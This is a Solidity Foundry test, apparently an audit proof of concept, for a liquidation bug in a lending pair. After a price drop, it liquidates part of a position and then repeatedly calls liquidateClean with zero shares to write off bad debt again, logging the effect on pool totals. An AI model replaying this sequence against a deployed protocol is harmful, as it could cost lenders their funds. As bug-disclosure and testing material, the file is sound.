LiquidationBugTest.sol

// SPDX-License-Identifier: ISC
pragma solidity ^0.8.15;

import "./BasePairTest.sol";
import "forge-std/Test.sol";

contract LiquidatePairTest is BasePairTest {
    using OracleHelper for AggregatorV3Interface;
    using SafeCast for uint256;

    function testLiquidateBug() public {
        // Setup contracts
        defaultSetUp();
        // Sets price to 3200 USD per ETH

        uint256 _amountToBorrow = 16e20; // 1.5k
        uint256 _amountInPool = 15e23; // 1.5m

        // collateral is 1.5 times borrow amount
        oracleDivide.setPrice(3200, 1, vm);
        mineBlocks(1);
        (, uint256 _exchangeRate) = pair.exchangeRateInfo();
        uint256 _collateralAmount = (_amountToBorrow * _exchangeRate * 4) / (3 * 1e18);
        faucetFunds(asset, _amountInPool);
        faucetFunds(collateral, _collateralAmount);
        faucetFunds(collateral, _collateralAmount * 10, users[3]);
        lendTokenViaDeposit(_amountInPool, users[0]);
        borrowToken(uint128(_amountToBorrow), _collateralAmount, users[2]);
        borrowToken(uint128(_amountToBorrow*10), _collateralAmount*10, users[3]); // another borrow for the bug not to revert immediately

        oracleDivide.setPrice(1000, 1, vm);
        mineBlocks(1);
        uint128 _shares = pair.userBorrowShares(users[2]).toUint128();
        for (uint256 i = 0; i < 1; i++) {
            pair.addInterest();
            mineOneBlock();
        }
        vm.startPrank(users[1]);
        pair.addInterest();
        asset.approve(address(pair), toBorrowAmount(_shares, true));
        console.log('shares', _shares);
        console.log('user collateral', _collateralAmount);

        // due to bad debt, liquidate only 70% of shares, just to get collateral to 0 and write off bad debt
        _shares = _shares * 7 / 10;
        console.log('liquidate shares', _shares);
        pair.liquidateClean(_shares, block.timestamp, users[2]);
        _shares = pair.userBorrowShares(users[2]).toUint128();
        console.log('after liquidating:');
        console.log('remaining collateral', pair.userCollateralBalance(users[2]));
        console.log('remaining shares', _shares);
        uint128 _totalAssetAmount;
        uint128 _totalAssetShares;
        uint128 _totalBorrowAmount;
        uint128 _totalBorrowShares;
        (_totalAssetAmount, _totalAssetShares) = pair.totalAsset();
        (_totalBorrowAmount, _totalBorrowShares) = pair.totalBorrow();
        console.log('total asset', _totalAssetAmount);
        console.log('total borrow', _totalBorrowAmount, _totalBorrowShares);

        for (uint256 i = 0; i < 3; i++) {
            // liquidate 0 shares (to write off bad debt again)
            pair.liquidateClean(0, block.timestamp, users[2]);

            _shares = pair.userBorrowShares(users[2]).toUint128();
            console.log('after liquidating 0 shares:');
            console.log('remaining collateral', pair.userCollateralBalance(users[2]));
            console.log('remaining shares', _shares);
            (_totalAssetAmount, _totalAssetShares) = pair.totalAsset();
            (_totalBorrowAmount, _totalBorrowShares) = pair.totalBorrow();
            console.log('total asset', _totalAssetAmount);
            console.log('total borrow', _totalBorrowAmount, _totalBorrowShares);
        }

        //assertEq(pair.userBorrowShares(users[2]), 0);
        vm.stopPrank();
    }

}